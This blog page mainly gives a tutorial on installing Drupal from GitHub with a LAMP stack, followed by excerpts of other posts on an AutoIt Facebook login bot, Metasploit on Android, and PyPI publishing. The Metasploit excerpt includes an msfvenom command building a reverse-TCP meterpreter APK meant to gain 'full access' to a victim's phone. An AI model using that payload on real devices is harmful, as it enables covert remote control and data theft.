Skip to main content

[Drupal]How to Install Drupal from Github

Drupal, which is found to be open source, is a building platform, which is used by people all around the world, to share their experiences online.
Below are the steps to install Drupal with Git.


  • LAMP server
  • Click here if you are having trouble installing LAMP server
  • phpmyadmin
  • Composer
  • Git

  • Steps:

    • To start, you need to clone drupal repository from github
    • Wait for it...
    • Then move the necessary files from the cloned folder to your root directory
    • Run Composer with root permission after moving all the necessary files
    • Wait for it...
      Creating the database with mysql
    • From the terminal, access your mysql interface by running the following command:
    • Don't forget to replace username with your actual username for your mysql-server.
    • The following are mysql commands, which will be used to create the database, and grant some privileges to it, in order for drupal to create the necessary tables.
    • CREATE DATABASE drupal;




    • You're just one step before the installation of drupal. The only thing remaining is the set proper permissions to the necessary folders inside drupal, and the settings.php file is to be present in the directory.
    • You could change the permission of the whole root directory OR change permissions of settings.php and the folder sites/default/files
    • After creating the database, Run the install script by opening up your Browser and type the ServerName, which is usually 'localhost'

    • Installing Drupal
    • You may face some errors on the next page, displaying requirements reviews. Make sure you meet all the requirements needed, specially, concerning the clean urls, before proceeding

    • You're done. Drupal should now be running successfully on your browser.
    Common Issues faced while installing Drupal
    404- Page Not Found
    If, other than your homepage, other links are displaying 404 Page Not Found, you have to make sure mod_rewrite is enabled and running correctly on your lamp server.

    How to check if mod_rewrite is enabled?

    Open your browser and type 'localhost/phpinfo.php' and search for Loaded Modules. If mod-rewrite is there, then Drupal should be working properly.
    If it's not enabled, run:
    Then, Restart apache

    Popular posts from this blog

    Learn how to make an auto login bot with Autoit

    Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
    Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
    It's simple, don't panic!
    You need to call a function with any name you want. Let's take loginfb()!
    call ("loginfb") So, we only have to write the function loginfb now!
    Func loginfb()
    Global $oIE = _IECreate ("")

    Local $username = _IEGetObjByName ($oIE, "email")
    Local $password = _IEgetObjByName ($oIE, "pass")
    Local $button = _IEGetObjById ($oIE, "loginbutton")

    _IEFormElementSetValue ($username, "") // your email here!
    _IEFormElementSetValue ($password, "") //your fb password here!
    $username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

    [Android + msf]How to use Metasploit Framework on an Android Device?

    Metasploit Framework(msf)
    Linux-based OSYou'll need to have msfconsole installed on your machine
    You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
    Steps1) First of all open up your terminal. (Ctrl + Alt + T)
    $ sudo apt-get update Update your repositories before starting.

    2) Once updated, we can start. Simply follow the steps below to get started:
    $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

    You can check out the archit…

    [Python]Publish your python project to PyPI

    The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

    In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

    1. Github account
    2. Basic knowledge of python
    3. setuptools - (pip3 install setuptools)
    4. wheel - (pip3 install wheel)

    By the end of this blog post, you should be able to print hello world using a single command:

    Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

    1. Create app f…